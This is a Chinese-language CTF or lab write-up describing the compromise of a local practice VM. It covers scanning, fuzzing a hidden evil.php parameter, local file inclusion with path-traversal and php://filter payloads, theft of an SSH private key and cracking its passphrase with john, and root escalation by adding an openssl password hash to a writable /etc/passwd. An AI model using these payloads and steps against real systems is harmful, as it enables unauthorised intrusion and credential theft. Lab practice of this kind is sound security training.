主机发现
目标 主机 : 192.168.145.134
attack 主机 :192.168.145.130
常规扫描
nmap -sV -O -p 1-65535 192.168.145.134
存在 22 端口 和 80 端口
系统是 Debian linux 4.15 - 5.6 版本
访问 80 端口
没有部署什么环境,存apache2 环境
目录扫描一下
发现了 四个目录
rebots.txt目录 看看
没有啥可用信息 ,
再查看secret目录下
也不存在 可用信息 ,再次爆破一下 secret 目录下存在啥信息没 (换个字典 换个工具 )
Gobuster
还是可以扫描dns 的一个工具
现在针对 secret 这个目录 进行扫描探测
gobuster dir -u http://192.168.145.134/secret/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp
扫描出前面没有 探测出的一个文件 evil.php 文件 (看着就不像好文件 ,和eval 长的像)
访问一下 看看
这个文件还是空白 。。。 到目前为止没有发现其他文件了
既然这个文件长的这么想后门 ,尝试爆破一下文件参数
ffuf 模糊测试 测试参数
使用burp 去测试先
添加两个payload 参数和路径
经过一段时间的爆破
终于爆破出来了
期间还使用了 ffuf 工具 但是没有爆破出来 可能是字典的原因吧
本地文件包含
现在去查看
1 |
|
/secret/evil.php?command=%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2Fetc%2Fpasswd
可以看出来是文件包含漏洞了
不使用url编码就可以是这样了
看看是否存在远程文件包含
先写一句话
本地启动 apache2 服务
systemctl restart apache2
测试一句话
去测试 靶机是否存在远程文件包含
不会显 ,看来是不存在远程文件包含了
php 伪协议
?command=php://filter/convert.base64-encode/resource=evil.php
使用php://filter 读取文件
这里先读取 evil.php 文件
给base64 解码
看来是直接把传入的值 , 去包含 读取了
尝试是否可以写入文件 ,
php://filter/write=convert.base64-decode/resource=shell.php&txt=MTIzNDUK
不知道是否成功 ,去读取一下 ,写入进去一般是存在于当前目录下或者根目录下
SSH 私钥登录
开放了22 端口
存在ssh 登录的
文件包含一下 /etc/passwd
存在 mowree 普通用户
查看一下这个目录下包含ssh的文件吗?
.ssh文件夹
是包含ssh 的 公钥私钥 授权文件的地方
command=../../../../home/mowree/.ssh/authorized_keys
可以看出授权了mowree用户登录
再查看id_rsa 和 id_rsa.pub
公钥查看不了 ,
但是有私钥就够了 ,有私钥就可以完成登录了
在本地创建一个id_rsa 的文件
文件内容是刚才获取到的 id_rsa
利用私钥 连接ssh
额 这
需要 passphrase 的密码文 ,
作者在生成私钥的时候 又给私钥加了一个密码
passphrase 密码破解
使用暴力破解就需要一个大一点的字典
使用这个字典去破解
可以使用 hashcat 或者 john工具进行破解
john
使用这个工具 ,因为需要把id_rsa 转换暴力破解的格式
这个 john 刚好有对应的转换脚本
转换好了 使用 John 开始爆破
john hash –wordlist=rockyou.txt
爆破出来了还是很快的
进行登录
成功登录
提权
crontab -l 计划任务
sudo -l
这两个常用的方法都是没有的
还有查看内核版本了
uname -a
版本是 4.19.0-17-amd64
searchsploit 4.19
尝试一下 ,符合版本但是不知道是否成功提权
下载到目标机
好像没有用 ,
那就再次查找是否存在可写入的文件
find / -writable 2>/dev/null
文件太多了 ,很多系统文件
像 sys /proc 这些就没有必要看了
find / -writable 2>/dev/null | grep -v sys | grep -v proc
除了自己用户,然后就是 dev 下 的文件
居然存在一个/etc/passwd 文件
对passwd 文件每行的一个解释
注册名:口令:用户标识号:组标识号:用户名:用户主目录:命令解释程序
第二个都是x x 又是口令(密码)
我们可以添加一个密码 ,然后/etc/shadow 这个文件里面 修改的某某用户的密码就不管用了
生成passwd
可以使用openssl 生成 密码
openssl passwd -1
把生成的密码添加到/etc/passwd 里面去
$1$.Az4zpRm$OuKDJE1cRDaOxDEfvlkGX1